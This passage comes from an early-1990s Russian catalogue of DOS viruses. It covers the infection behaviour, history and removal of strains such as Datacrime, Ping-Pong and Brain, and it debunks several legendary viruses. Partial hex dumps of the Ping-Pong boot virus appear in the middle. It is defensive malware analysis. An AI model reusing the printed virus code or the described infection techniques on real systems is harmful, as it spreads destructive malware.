каталога,  содержащего  DBF-файлы,  создается  свой  скрытый  файл
BUG.DAT.
  Исторические замечания.  Данный вирус описан в 1989 г. в журнале
BYTE в  статье Р.Гринберга  [Greenberg89]. В СССР случаи заражения
не отмечались.
  Методы и  программные  средства  защиты.  При  работе  с  файлом
BUG.DAT вирус  не проверяет установку атрибута READ ONLY. Поэтому,
если создать  искуственный файл  с таким  атрибутом, то  вирус  не
сможет записать в него информацию и тем самым повредить DBF-файлы.

              6.5.3. Screen Virus - "экранный" вирус

  Данный вирус  также является  резидентным и,  как и вирус dBASE,
выполняет перестановки  байтов.  Он  перехватывает  прерывание  от
таймера и  каждые несколько  минут, начиная  со случайной  позиции
последовательно сканирует память видеоадаптера. Если вирус находит
четыре последовательные  цифры, то  он переставляет местами две из
них.  Вирус   повторно-заражает  СОМ-файлы.   При  первом  запуске
зараженной программы инсталлятор вируса перед тем, как сделать код
вируса  резидентным,  заражает  все  подходящие  файлы  в  текущем
каталоге, включая  и файл,  содержащий запускаемую программу, если
последняя находится в текущем каталоге.
  Исторические замечания.  Данный вирус описан в 1989 г. в журнале
BYTE в статье Р.Гринберга [Greenberg89].
  Методы и  программные средства  защиты.  Вирус  содержит  ASCII-
строку "InFeCt" (с указанным сочетанием больших и маленьких букв).
Непоредственно  перед   этой  строкой   располаются  четыре  байта
оригинальной  программы,   замененные  вирусом.  Эти  байты  можно
вручную   переставить    в   начало    программы   или    написать
соответствующий фаг.

              6.5.4. Группа первоапрельских вирусов

  Данная    группа,    по    видимому,    является    историческим
предшественником иерусалимской  группы  и,  возможно,  принадлежит
тому же автору. В нее входят вирусы RC-897 и RE-1488.

                      6.5.4.1. Вирус RC-897
  (SURIV 1 - Сурив 1, April First - Первое апреля)
  Резидентный файловый  вирус, заражающий COM-файлы при запуске их
на выполнние.  При заражении  очередного  файла  выдает  на  экран
сообщение
  YOU HAVE A VIRUS.  а первого апреля выдает сообщение
  HA HA HA IT'S APRIL 1ST - YOU HAVE A VIRUS
  (1 апреля ха-ха-ха. У Вас вирус)  и вызывает зависание системы.
  Исторические замечания. Вирус разработан в Израиле в 1987 году и
относится к ранним представителям иерусалимской группы.
  Методы   и    программные   средства    защиты.   Данный   вирус
диагностируется  полидетектором   SCAN.  "Выкусывается"  полифагом
CLEANUP,  а   также   полифагом   Antivir   (версия   3.0   1988),
разработанным D.Hoppenrath.

            6.5.4.2. Вирус RE-1488 (SURIV 2 - Сурив 2,
  April First - Первое апреля, Jerusalem D - Иерусалим Д)
  Штамм,  заражающий  EXE-файлы.  Проявляется  1  апреля  и  после
определенного времени работы на компьютере, выдавая сообщение
  HA HA HA IT'S APRIL 1ST - YOU HAVE A VIRUS.
  (1 апреля ха-ха-ха. У Вас вирус)
  При этом  зависание системы  приводит к  потере  информации  при
редактировании или других аналогичных работах.
  Исторические замечания. Вирус разработан в Израиле в 1987 году и
относится к ранним представителям иерусалимской группы.

  Методы   и    программные   средства    защиты.   Данный   вирус
диагностируется  полидетектором   SCAN.  "Выкусывается"  полифагом
CLEANUP,  а   также   полифагом   Antivir   (версия   3.0   1988),
разработанным D.Hoppenrath.

               6.5.5. Группа Datacrime (Дейтакрайм)

  Данная группа  появилась в  США в  1989  г.  В  настоящее  время
состоит из  трех штаммов длиной 1168 (Datacrime), 1280 (Datacrime-
II) и  1514 (Datacrime-IIb)  байтов. При  этом первые  два  штамма
заражают только  файлы типа COM, а штамм Datacrime-IIb - как файлы
типа COM,  так и  файлы типа  EXE. Стадия  проявления для  данного
вируса наступает ежегодно после 12 октября (день открытия Америки,
День Колумба). Перед поиском файла-жертвы, вирус проверяет текущую
дату. Если  дата больше 12 октября и компьютер имеет винчестер, то
вирус дешифрует и выдает на экран сообщение:
  DATACRIME VIRUS
  RELEASED: 1 MARCH 1989
  При  этом  вирус  форматирует  первые  восемь  дорожек  нулевого
цилиндра диска С, уничтожая MBR, бутсектор, FAT и главный каталог.
После этого  вирус зацикливается, выдавая в этом бесконечном цикле
символ  BELL   (звуковой  сигнал).   Это  еще   раз   подчеркивает
необходимость резервирования  первых треков  при каждой загрузке в
специальный файл,  расположенный в  фиксированном месте  диска или
использования для этой цели программы MIRROR из пакета PC SHELL.
  По данным  H.J.Highland [158],  который до  1990 г.  был главным
редактором журнала  Computers &  Security, автор вируса предпринял
некоторые меры  маскировки. Вирусы,  входящие в  данную группу, не
заражают файлы,  седьмой символ  имени  которых  равен  "D",  и  в
частности, файл  COMMAND.COM. Как  уже указывалось, содержащееся в
теле вируса  текстовое сообщение  шифруется с помощью команды XOR.
Дешифровка выполняется  непосредственно перед выдачей сообщения на
экран, т.е.  перед срабатыванием  троянской компоненты. При поиске
зараженных файлов  вирус  просматривает  корневой  каталог  и  все
подкаталоги винчестера.  Если файлов-жертв  там не  обнаружено, то
выполняется просмотр диска A, а затем диска B.

    6.5.5.1. Вирус E-1168  (Datacrime B - Дейтакрайм B, 11168,
                   Columbus Day - День Колумба)
  Данный вирус является нерезидентным файловым вирусом, заражающим
COM-файлы. При заражении дописывает себя в конец файла, увеличивая
длину на  1168 байтов  и заменяя  первые  пять  байтов  зараженной
программы на  команду перехода к началу вируса. Вирус размножается
с 1  апреля по 12 октября любого года. До 1 апреля вирус находится
в латеном состоянии и при запуске зараженных файлов сразу передает
управление  вирусоносителю.   Стратегия  размножения  основана  на
просмотре каталогов  и заражении  всех найденных COM-файлов, кроме
тех, которые имеют в качестве седьмой буквы имени букву D. Сначала
просматриваются разделы винчестера, а затем дисководы с дискетами.
Из-за ошибок  в коде заражаются не все файлы, создавая впечатление
случайного  вибора.   Возможно  зависание   системы   в   процессе
заражения.
  При выполнении  зараженного файла  после 12  октября любого года
вирус  выдает  приведенное  выше  сообщение  (зашифровано  в  теле
вируса) и  выполняет низкоуровневое форматирование жесткого диска.
Для PC/AT,  а также  систем c  контроллерами  типа  RLL  или  SCSI
алгоритм запуска низкоуровневого форматирования неработоспособен.
  Исторические замечания.  Данный вирус  обнаружен в мае 1989 г. в
Европе. Это  связано  с  тем,  что  фаза  распространения  и  фаза
проявления этого  вируса отделены  периодом в  десять месяцев.  По
некоторым данным, вирус разработан в Голландии. Судя по выдаваемой
надписи, время  разработки относится  в началу  1989 г.  а  начало
распространения -  к марту  1989 г.  Случаи заражения отмечались в
США  уже  летом  того  же  года.  В  настоящее  время  практически
полностью уничтожен.  В СССР  явно не  отмечался, однако, учитывая
его    европейское    происхождение,    рекомендуется    проверять
программного обеспечения  на зараженность вирусами данной группы в
сентябре текущего года.
  Методы   и    программные   средства   защиты.   Диагностируется
полидетектором SCAN.

6.5.5.2. Вирус E-1280  (Datacrime B - Дейтакрайм B, 1280, Columbus
                       Day - День Колумба)
  Штамм,  заражающий   только   файлы   типа   EXE   и   способный
форматировать винчестер с контроллерами типа RLL или MFM.

                      6.5.5.3. Вирус СE-1514
  (Datacrime II - Дейтакрайм, 1514, Columbus Day - День Колумба)
  Штамм,  заражающий  как  COM-,  так  и  EXE-файлы.  Тело  вируса
зашифровано. В  отличие от  предыдущего не  пытается форматировать
винчестер.

 6.5.5.4. Вирус СE-1917  (Datacrime IIB - Дейтакрайм IIB , 1917,
                   Columbus Day - День Колумба)
  Штамм, обнаруженный  в ноябре  1989 года. Пытается форматировать
диск в  любой день  после 12  октября, кроме  понедельника.  Метод
шифровки тела изменен.

                 6.6. Мифические файловые вирусы

  "Мы рождены, чтоб сказку сделать былью..."
  Из популярной песни 30-х годов

          6.6.1. Вирус Cookie, Cookie Monster - Печенье

  Данная   легенда    основана   на    демонстрационном    вирусе,
действительно существовавшем  на  компьютерах  с  микропроцессором
8080 или  Apple II.  Или, возможно,  вирус полностью  уничтожен  и
относится к  "ископаемым" вирусам. Название данного вируса связано
с персонажем  популярной в  США  детской  телевизионной  программы
SESAME STREET.  Проявление этого вируса связано с выдачей на экран
сообщения
  I WANT COOKIE
  (я хочу печенья)
  Только ввод  с  клавиатуры  слова  COOKIE  позволяет  продолжить
работу с  программой. Вводом тайного пароля "OREO" можно "усыпить"
вирус на  несколько недель.  В некоторых  вариантах легенды  вирус
стирает файлы  при  неправильном  ответе  или  слишком  длительной
задержке с ответом.
  Исторические замечания. В файле П.Хоффман не описан.
  Методы и  программные средства  защиты. Как  ни странно,  но для
данного вируса  имеется  фаг  (может  быть,  это  шутка)  -  вирус
диагностируется  и  выкусывается  полифагом  Antivir  (версия  3.0
1988), разработанным D.Hoppenrath.

          6.6.2. Вирус, заражающий обьектные библиотеки

  Автором  легенды  является  А.А.Чижов.  В  статье  [Чижов88]  он
неосторожно высказал  собственную идею  о вирусе,  внедряющемся  в
библиотеку обьектных  модулей компилятора.  Соответствующий  текст
представляет исторический интерес:
  "3.  Вирус   в  обьектной  библиотеке.  Вирус,  прикрепленный  к
обьектной   библиотеке   какого-либо   компилятора,   -   наиболее
изощренный вид  вируса. Такой  вирус  автоматически  внедряется  в
любую  программу,   составленную   программистом,   работающим   с
зараженной библиотекой.
  Внедряется вирус  в библиотеку  следующим способом.  В обьектную
библиотеку  добавляется   модуль,   содержащий   в   себе   вирус,
оформленный в  виде подпрограммы.  Затем в  модуль, который должен
получать управление  от Дос в сформированной программе, всавляется
вызов подпрограммы,  содержащей  вирус.  При  этом  корректируется
таблица  глобальных   имен,  используемых   в   бибилиотеке.   При
компоновке какой-либо  программы модуль  с  вирусом  автоматически
подключается  к  программе  и  всегда  будет  запускаться  при  ее
запуске..."

            6.6.3. Вирус "падающие головки винчестера"

  Данная  легенда   стала  неотъемлемой   частью  программистского
фольклора. Попытку  придать этой  легенде  статус  научного  факта
предпринял  Ю.Н.Основский.   В  брошюре   [Основский90]   написано
буквально следующее:
  "Вирусы,  вызывающие   аварию   аппаратного   обеспечения   ЭВМ,
представляются наиболее  опасными из  всех классов  вирусов.  Если
после  срабатывания  вируса  из  классов,  описанных  выше,  самым
серьезным  последствием   является  гибель   всей  информации   на
носителях, то  срабатывание вируса, вызывающего аварию аппаратного
обеспечения ЭВМ, кроме логического разрушения информации, вызывает
еще и физическую поломку машины.
  К счастью,  автор не  сталкивался еще с такими вирусами "лицом к
лицу" (т.е.  на своем  персональном компьютере),  однако  наблюдал
результаты срабатывания  одного из  таких вирусов  на машине своих
коллег. Этот  вирус заставил  операционную  систему  обращаться  к
жесткому диску  с резонансной  частотой  блока  его  головок.  Как
результат  -   падение  блока   головок   на   вращающийся   диск,
заклинивание  диска   с  повреждением  всех  его  поверхностей  и,
естественно,   разрушением    информации.    Для    восстановления
работоспособности машины пришлось покупать новый жесткий диск."
  Далее автор приводит еще более интересные сведения:
  "Однако можно с достаточной степенью уверенности утверждать, что
распространение  этого   типа  вирусов   не  грозит  пользователям
персональных ЭВМ  с жесткими  дисками производства  стран у членов
СЭВ только  в том  случае,  если  жесткие  диски  собраны  в  этих
странах. При  использовании  готовых  "фирменных"  жестких  дисков
проникший на машину вирус может сработать, так как для определения
резонансной частоты  диска необходимо  точно знать  его физические
параметры. Поэтому  опасность срабатывания подобного вируса грозит
только тем  пользователям, машины  которых  оснащены  "фирменными"
жесткими дисками. Автору удалось установить (естественно, не путем
эксперимента), что  эти вирусы существуют в настоящее время только
для двух типов "фирменных" жестких дисков: SeaGate и Amstrad."
  К сожалению,  как  будет  ясно  из  дальнейшего  изло-    жения,
благодаря  богатой   фантазии  Ю.Н.Основскому  удалось  установить
(естественно, не путем эксперимента) не только это.

                 6.6.4. Вирус в сетевом драйвере

  Источником данной  легенды является  все та же статья [Чижов88].
Приведем соответствующую цитату.
  "Возможно создание  вируса, внедряемого в сетевой драйвер. Такой
вирус переносит  себя по  сети на  другой  компьютер.  Возможность
перенесения по  сети, конечно,  зависит от  вида сети - один вирус
обычно может  заражать  только  сеть  одного  вида  с  однотипными
драйверами обслуживания сети.
  Самый простой  способ переноса  такого вируса - передача по сети
нового варианта  сетевого драйвера.  Для этого  необходимо,  чтобы
зараженный  драйвер   вызвал  от  незараженного  абонента  сетевой
драйвер (или  его часть),  добавил в него вирус и передал обратно.
При последующем  запуске сетевого драйвера будет запущен уже новый
зараженный драйвер.
  Процесс заражения сопровождается довольно большими передачами по
сети, поэтому  вирус  может  быть  обнаружен  за  счет  не  только
изменения размера  сетевого драйвера или его контрольной суммы, но
и обнаружения лишних передач по сети."

                  6.6.5. Сетевой вирус RCE-2231

  Эта легенда  принадлежит, по  видимому, Ю.Н.Основскому,  который
пишет:
  "...Автору  известен   только  один   случай  заражения  сетевым
вирусом, когда  появление вируса  на одной  из концевых машин сети
вызвало немедленное  заражение головной  машины сети, а за ней - и
всех остальных концевых машин.
  Этот вирус длиной 2231 байт распространялся через прерывание DOS
21H (выполнение  функций DOS,  номера  функций  5EH,  5FH).  Вирус
заражал .СОМ  и .EXE-файлы,  увеличивая их  длину. Несмотря на то,
что в течение нескольких дней никаких внешних проявлений вируса не
замечалось, было  решено полностью  очистить все машины от вируса.
Лишь на  одной машине, исключенной из сети, вирус был обезврежен в
операционной ситеме,  но с  исследовательскими целями  оставлен  в
ряде программ  пользователей. В результате исследования выяснилось
следующее:
  - вирус  и в  отстутсвии  сети  способен  заражать  операционную
систему,  причем   не  только   ее  командный  процессор,  который
поражается сразу, но и скрытые системные файлы, которые поражаются
в самом конце инкубационного периода;
  - инкубационный  период вируса  составляет около  месяца,  после
чего на машине происходит "ядерный взрыв" (это название предложено
автором на  основании анализа  пораженного вирусом  жесткого диска
после срабатывания). Дело в том, что характер поражения напоминает
след ядерного  взрыва: чем  ближе к  FAT-таблице, которая является
как  бы   "эпицентром"  жесткого  диска,  тем  больше  разрушенных
векторов в логических кластерах);"
  Ну  и   так  далее.   Если  рассматривать  данное  описание  как
спецификацию,  то   она,  к   сожалению,   представляется   вполне
реализуемой, если,  конечно, отбросить  "проколы"  типа  поражения
скрытых системных  файлов в  конце инкубационного  периода.  Более
того, напрашивается  сравнение с вирусом C-1260v (прил.3), который
фактически основан  на аналогичной  спецификации. Здесь,  пожалуй,
четче всего видна опасность фантазирования на "вирусную тематику".
Не  случайно,   по  некоторым   данным,  разведслужбы   специально
анализируют   издаваемые    детективы   на    предмет   возможного
использования приводимых  сюжетных ходов  в реальных  операциях, а
после просмотра  "жестокого" фильма  отмечается возрастание  числа
опасных преступлений, близких по схеме к событиям на экране.

        6.6.6. Вирусы, поражающие скрытые системные файлы.

  Данная легенда,  по  видимому,  принадлежит  А.А.Чижову.  В  уже
упоминавшейся статье [Чижов88] он пишет:
  "Вряд ли  вирус может  внедриться в загрузчик, так как загрузчик
должен размещаться  в одном  секторе диска  емкостью 512  байт.  В
загрузчике практически нет свободного места.
  Другое дело  - скрытые  файлы ДОС.  Вирус может  прикрепиться  к
любому из  этих файлов,  при этом  его дальнейшее  поведение может
быть различным.  Само прикрепление происходит просто - вирус может
дописать себя  в конец  одного из  файлов. при  запуске каждого из
скрытых файлов  управление передается  на начало  файла, в котором
стоит команда  перехода на  инициатор соответствующей  части  ДОС,
вместо которой  вирус может  поставить переход  на свое  начало, а
после настройки  запустить  инициатор  ДОС.  Наиболее  действенным
может   быть    прикрепление   ко   второму   скрытому   файлу   -
IBMDOS.COM(MSDOS.SYS), так  как, во-первых,  в конце первого файла
находится конфигуратор  системы, обрабатывающий  файл  CONFIG.SYS,
что  мешает  прикреплению  вируса,  во-вторых,  в  момент  запуска
первого скрытого  файла ДОС  еще не  функционирует.  В  момент  же
запуска второго  скрытого файла  ДОС уже  частично  функционирует,
полностью сформированы драйверы ввода-вывода."
  То, что А.А.Чижов описал как одну из возможностей, пытаясь одним
из   первых   самостоятельно   проанализировать   возможные   пути
инфицирования MS  DOS (и  ошибаясь в данном случае), Ю.Н.Основский
преподносит нам как факт, имеющий место на начало 1990 г.:
  "Поражение скрытых  системных файлов  приводит к  заражению всей
операционной системы  ЭВМ, а  если ЭВМ включена в состав локальной
вычислительной сети,  то возможен  переход вируса  на любую другую
машину сети, в том числе и на головную.
  Правда, обычно заражение скрытых системных файлов довольно легко
распознается, так  как одна  из первых  же перезагрузок пораженной
операционной  системы   приводит  к  срабатыванию  вируса  и,  как
правило, к  потере информации  на  носителе  (ничего  себе  легкое
распознавание  !   -  БНН).   Отметим,  что  большинство  вирусов,
заражающих скрытые  системные файлы,  относятся к классам вирусов,
либо повреждающих  системные области  дисков,  либо  форматирующих
диски.".
  Опыт  автора   показывает,  что   в  случае  поражения  обычными
файловыми  вирусами  (резидентные  вирусы,  заражающие  файлы  при
открытии заражают  указанные системные  файлы при  их копировании)
скрытых файлов  операционная система становится неработоспособной.
Специальных вирусов,  рассчитанных  именно  на  заражение  скрытых
файлов, в  настоящее время  не существует  (возможно, потому,  что
слишком мала инфицирующая способность такого вируса - меньше чем у
бутового).  Единственный   специализированный  вирус,   заражающий
командный процессор  (Lеhigh), по  данным П.Хофман,  можно считать
практически уничтоженным. В нашу страну он пока не попадал.

                   7. КАТАЛОГ БУТОВЫХ ВИРУСОВ,
                        ОБНАРУЖЕННЫХ В СССP

  В настоящее  время можно выделить четыре группы бутовых вирусов:
итальянскую, пакистанскую, новозеландскую и индийскую.

                     7.1. Итальянская группа

  Итальянская   группа    представляет   собой   бутовые   вирусы,
демонстрирующие интересный  визуальный  эффект:  во  время  работы
пользователя ни  с того  ни с сего на экране появляется хаотически
движущееся на  экране светлое  пятно (мячик).  Первым  и  наиболее
распространенным представителем этой группы является вирус Bx1-1C,
на примере которого мы и рассмотрим эту группу.

           7.1.1. Вирус Bx1-1C  (Ping-Pong - Пинг-понг;
            Italian Bouncing - Итальянский попрыгунчик)

  Неформальные названия  данного вируса  связаны с  тем, что вирус
визуально проявляется  в виде  светлого ромбика на экране дисплея,
двигающегося в случайном направлении и "отражающегося" от символов
псевдографики. Формально  данный  вирус  относится  к  резидентным
бутовым  вирусам   типа  Вx1:  он  заражает  как  дискеты,  так  и
винчестер, а его хвост расположен в одном кластере, помеченном как
сбойный, как на дискетах, так и на винчестере.
  Дамп головы и хвоста вируса приведены ниже. Как уже указывалось,
инфицируются любые  дискеты, а  не только  системные. Оригинальный
бутсектор  находится  во  втором  секторе  сбойного  класера,  что
позволяет использовать  его при  восстановлении с  помощью  Norton
Utilities или PC Tools. Длина вируса составляет 1536 (600h) байт.
  Перехватывает прерывания  10h и 13h. Когда происходит загрузка с
зараженного диска,  сначала  считывается  голова  вируса,  которая
размещается по  адресу 0000:7C00 и управление передается на начало
вируса. Вирус  определяет объем памяти компьютера (слово по адресу
0040:0013)  и  уменьшает  его  значение  на  2,  резервируя  место
размером  2K   под  свою   копию.  Затем  вирус  копирует  себя  в
зарезервированную область,  передает туда  управление,  ищет  свою
вторую часть  на диске,  дописывает  к  себе  свое  продолжение  и
считывает оригинальный  бутсектор  (второй  сектор  псевдосбойного
кластера с  хвостом вируса)  в память  по адресу  0000:7C00. Затем
вирус перехватывает  прерывание 13h  с тем,  чтобы  контролировать
обращения к  диску и  запускает стандартный  системный загрузчик (
передавая управление на адрес 0000:7C00), который, в свою очередь,
загружает IBMIO.COM  и IBMDOS.COM  (или IO.SYS  и MSDOS.SYS), т.е.
происходит стандартная  загрузка системы.  В дальнейшем, в процесс
работы пользователя  на ЭВМ,  вирус активируется всякий раз, когда
выполняется операция  чтения с  дискеты. Получив управление, вирус
анализирует, относится ли оно к дискете или к винчестеру. Если это
прерывание  относится  к  дискете,  то  сначала  вирус  проверяет,
заражена уже  данная дискета  или нет.  Для этой  цели считывается
бутсектор и  проверяются  его  содержимое.  Если  дискета  еще  не
заражена, то  вирус заражает дискету, а затем обрабатывает команду
READ. В случае, если дискета уже заражена, вирус сразу переходит к

обработке команды READ; так же он поступает в случае, если дискета
защищена от записи.
  Заражение выполняется  следующим образом. Сначала вирус копирует
оригинальный бутсектор  в оперативную  память.  Затем  вирус  ищет
свободный кластер,  который он может пометить как сбойный. Если ни
одного  свободного  кластера  на  дискете  нет,  то  заражения  не
происходит. Если подходящий кластер найден, то вирус копирует туда
оригинальный бутсектор  и свoй  хвост (в  первый  сектор  кластера
записывается хвост,  а во второй сектор - оригинальный бутсектор).
Для того  чтобы занятый  вирусом кластер не был использован MS DOS
при  создании  нового  файла,  вирус  помечает  этот  кластер  как
сбойный. И,  наконец, вирус  записывает свою  голову  в  бутсектор
заражаемого диска,  предварительно записав  в ней  номер кластера,
содержащего хвост  вируса. Заражение дискет происходит стандартным
образом: при  обращении к дискете. Заражаемые дискеты должны иметь
512 сектора и 2 сектора в кластере. При заражении винчестера вирус
анализирует в  MBR таблицу разделов (Partition Table) и определяет
положение бутсектора на винчестере.
  Стадия проявления  у данного  вируса наступает  через  случайный
промежуток времени,  варьирующийся от  десятков минут  до десятков
часов. Условия  активизации точно  автору  не  известны.  Как  уже
указывалось, стадия  проявления заключается  в появлении на экране
светлого ромбика(знак  07h ASCII),  который хаотически движется по
диагоналям,   отражающегоcя    от   границ   экрана   и   символов
псевдографики. При  этом  не  имеет  значения  тип  установленного
адаптера. Ромбик беспрепятственно проходит сквозь обычные символы;
однако в  некоторых случаях  он изменяет цвет символа или заменяет
символ собой,  искажая в  последнем случае  содержимое экрана. При
редактировании это  совсем не  безобидные изменения, поскольку при
записи в  память искажения  сохраняются.  Поэтому  можно  исказить
редактируемый текст, работая на зараженной машине.
  Если экран  находится в графическом режиме, то движущийся ромбик
изменяет цвет  полей, через которые он проходит. Для некоторых игр
это приводит  к быстрому  окрашиванию экрана  в черный  цвет,  что
делает невозможным продолжение игры. Как уже указывалось изменение
цвета наблюдается  и в  текстовом режиме,  когда ромбик,  "проходя
сквозь символ",  также меняет  его цвет.  Это часто наблюдается со
стандартной подсказкой DOS.
  В теле  вируса имеется  экзотическая команда,  которую выполняет
микропроцессор 8086/8088  и  не  выполняет  микропроцессор  80286.
Поэтому вирус  работоспособен только  на машинах  класса  XT.  При
попытке загрузиться  с зараженной  дискеты на  IBM  PC/AT  система
зависает.
  Исторические замечания. Данный вирус появился на Западе примерно
в конце  1987 г. В СССР появился в конце 1988 г. (в Киеве в начале
1989 г.).  Поскольку вирус  достаточно распространен в соцстранах,
то он,  несомненно,  попадал  в  СССР  неоднократно  с  различными
программными средствами.  Первым и  достаточно удачным  фагом  для
этого вируса, появившимся в Киеве, была зарубежная программа PNCL,
см. СП  1-1.  Поскольку  данный  вирус  является  одним  из  самых
распространенных бутовых вирусов, имеются многочисленные штаммы.
  Неформальные названия.  Для данного  вируса  существует  порядка
десятка неформальных названий. Среди них: Bouncing Dot - Танцующий
зайчик; Bouncing  Ball  -  Прыгающий  мячик;  Italian  Bouncing  -
Итальянский попрыгунчик;  Ball -  Мячик, Vera  Cruz -  Вера  Круз,
Italian -  Итальянский. Полидетектор  SCAN опознает этот вирус как
"Ping Pong Virus - Version B [Ping]".
  Методы   и    программные   средства    защиты.   Вирус    можно
идентифицировать   путем    визуального   просмотра    содержимого
бутсектора (использовать  Norton Utilities  удобнее чем  PCTools).
При проверке полученных дискет удобнее всего сравнивать первые три
байта (J-сигнатуру)  дампа. Norton  Utilitis (NU),  которая выдает
FAT в  "полуинтерпретированном" виде  и позволяет сразу определить
номер кластера, помеченного как сбойный, что облегчает его поиск и
анализ. Как  уже указывалось,  вирус хранит содержимое нормального
бутсектора во  втором секторе  своего сбойного  кластера.  Поэтому
можно  дезинфицировать   зараженные  дискеты,  переписывая  второй
сектор  сбойного   кластера  в   бутсектор.  Эту   операцию  можно
выполнить, например,  с помощью Norton Utilities. Затем необходимо
исправить в  FAT сбойный  кластер на  FFF (тем самым он становится
"потерянным") и  превратить его  в файл, запустив утилиту CHKDSK с
параметром /F,  и наконец,  удалить полученный  файл с  тем, чтобы
бывший сбойный  кластер попал  в пул  свободных кластеров. Имеется
также специальная  утилита для  удаления сбойный секторов. Полифаг
AIDSTEST и  другие сопровождаемые полифаги распознают и уничтожают
этот вируса, предварительно нейтрализуя его в памяти. Тем не менее
лучше выполнять  эту операцию, загрузивщись с защищенной от записи
эталонной MS  DOS.  Возможно  вакцинирование  дискеты  от  данного
вируса, однако  оно существенного значения не имеет, поскольку при
минимальных мерах предосторожности (обязательное использование при
копировании  программ   с  дискет   защитных   наклеек,   контроль
бутсектора), распространения  этого вируса, как и любого, бутового
вируса можно избежать.

                     Дамп головы вируса Bx1-1C

000: EB1C90504320546F 6F6C730002020100  ...PC Tools.....
010: 027000D002FD0200 09000200000033C0  .p............3.
020: 8ED0BC007C8ED8A1 13042D0200A31304  ....|.....-.....
030: B106D3E02DC0078E C0BE007C8BFEB900  ....-......|....
040: 01F3A58EC80E1FE8 000032E4CD138026  ..........2....&
...  ..  ..  ..  ..   ..  ..  ..  ..    . . . . . . . .
120: F77DFE5A595B5807 1FEA1B0300C8B801  .}.ZY[X.........
130: 02B600B90100E88A FFF606F87D807423  ............}.t#
140: BEBE81B90400807C 0401740C807C0404  .......|..t..|..
150: 740683C610E2EFC3 8B148B4C02B80102  t..........L....
160: E860FFBE0280BF02 7CB91C00F3A4813E  .`......|......>
170: FC8157137515803E FB8100730DA1F581  ..W.u..>...s....
180: A3F57D8B36F981E9 0801C3813E0B8000  ..}.6.......>...
190: 0275F7803E0D8002 72F08B0E0E80A010  .u..>...r.......
1A0: 8098F726168003C8 B82000F726118005  ...&..... ..&...
1B0: FF01BB0002F7F303 C8890EF57DA1137C  ............}..|
1C0: 2B06F57D8A1E0D7C 33D232FFF7F3408B  +..}...|3.2...@.
1D0: F88026F77DFB3DF0 0F7605800EF77D04  ..&.}.=..v....}.
1E0: BE01008B1E0E7C4B 891EF37DC606B27E  ......|K...}...~
1F0: FEEB0D01000C0001 00240200571355AA  .........$..W.U.

       Хвост вируса, записанный в "псевдосбойном" кластере

000: FF06F37D8B1EF37D 8006B27E02E88DFE  ...}...}...~....
010: EB39B80300F606F7 7D04740140F7E6D1  .9......}.t.@...
020: E82A26B27E8BD881 FBFF0173D38B9700  .*&.~......s....
030: 80F606F77D04750D B104F7C601007402  ....}.u.......t.
040: D3EA80E60FF7C2FF FF7406463BF776C2  .........t.F;.v.
050: C3BAF7FFF606F77D 04750D80E60FB104  .......}.u......
060: F7C601007402D3E2 099700808B1EF37D  ....t..........}
...  ..  ..  ..  ..   ..  ..  ..  ..    . . . . . . . .

                      7.1.2. Штамм Bx1-1C-b
        (Ping-Pong modified by Yankee Doodle - Пинг-понг,
               модифицированный вирусом Янки Дудль)

  В данном  штамме имеются  изменения, вносимые вирусами подгруппы
музыкальных  самоедов.  Изменения  состоят  в  введении  счетчика,
увеличивающегося на  единицу при  каждом заражении. При достижении
счетчиком значения  255 вирус  теряет  способность  к  дальнейшему
размножению.
  Исторические замечания.  Выделен и изучен И.Сысоевым. Приводимые
сведения опираются непосредственно на его сообщение на семинаре.
  Неформальные названия. Помимо приведенного выше, отсутствуют.
  Методы и программные средства защиты. Рекомендуется использовать
полифаг AV.

                       7.1.3. Штамм Bx1-1C-с
           (Hacked Ping-Pong - Искромсанный пинг-понг)

  Данный штамм  является версией  оригинального вируса,  в котором
непосредственно   в    загрузочном   модуле   сделаны   изменения,
направленные на стирание первых секторов диска при нажатии клавиши
Scroll Lock. Из-за ошибок при коррректировании загрузочного модуля
"по живому"  данный штамм  только размножается.  Впрочем  возможно
имеется и "доработанная" версия.
  Исторические замечания.  Выделен и изучен И.Сысоевым. Приводимые
сведения опираются непосредственно на его сообщение на семинаре.
  Неформальные названия. Помимо приведенного выше, отсутствуют.
  Методы и программные средства защиты. Рекомендуется использовать
полифаг AV.

                      7.1.4. Штамм Bx1-1C-d
              (Double Ping-pong - двойной пинг-понг)

  Данный штамм  отличается от предыдущего наличием двух движущихся
светлых пятен.

                     7.2. Пакистанская группа

  Представители пакистанской  группы вирусов  отличаются тем,  что
они  не   заражают  винчестер,   заражая  только  дискеты.  Первым
представителем этой группы является вирус Dx3-E9.

              7.2.1. Вирус Dx3-E9 (Singapore Brain -
             Сингапурский вариант Душманских мозгов)
  Вирус Dx3-E9 во многом аналогичен вирусу Bx1-1C,  однако в отли-
чие  от  Bx1-1C,  он никогда не инфицирует винчестер.  Он заражает
только 40 дорожечные двухсторонние 9-ти секторные  дискеты (360K),
которые  были сформатированы MS DOS.  При заражении дискеты ее имя
меняется на (С)BRAIN, чем и определяется неформальное название ви-
руса.  Рассматриваемый штамм появился несколько позднее оригиналь-
ной версии и имеет, по-видимому, сингапурское происхождение.
  На дискетах  хвост вируса  расположен в  трех  кластерах  (шести
секторах),  помеченных   как  сбойные.  На  зараженной  ЭВМ  вирус
уменьшает обьем доступной памяти на 7К.
  В отличие  от Bx1-1C,  на  инфицированной  MS  DOS  (с  вирусом,
находящемся  в   старших  адресах   памяти)  невозможно  прочитать
инфицированный бутсектор.  В случае, когда делается такая попытка,
Dx3-E9 перенаправляет  запрос на  чтение в оригинальный бутсектор,
хранящийся в  одном  из  сбойных  кластеров.  Поэтому  непременным
условием  анализа  является  предварительная  загрузка  MS  DOS  с
незараженной дискеты, защищенной от записи.
  Процесс  загрузки   в  память   для  данного   вируса  полностью
аналогичен вирусу Bx1-1C.
  После того,  как вирус  стал резидентным,  он  активируется  при
возникновении прерывания  по чтению.  Получив управление  по этому
прерыванию, он  анализирует, относится  ли оно  к  дискете  или  к
винчестеру. Если  это прерывание  относится к  дискете, то сначала
вирус проверяет,  заражена уже  данная дискета  или нет.  Для этой
цели считывается  бутсектор и  проверяются его  четвертый и  пятый
байты (в  зараженной дискете там находится подпись "1234", которая
при просмотре  дампа имеет вид 3412). Если подпись отсутствует, то
вирус заражает  дискету, а  затем  обрабатывает  команду  READ.  В
случае, если  дискета уже  заражена,  вирус  обрабатывает  команду
READ; так  же он  поступает в  случае, если  дискета  защищена  от
записи.
  Основное отличие  в функционировании  заключается в том, что при
заражении дискеты  вирус ищет  не  один,  а  три  последовательных
свободных кластера.  Если их  нет,  то  заражения  не  происходит.
Однако,  если   есть  лишь  один  свободный  кластер,  который  не
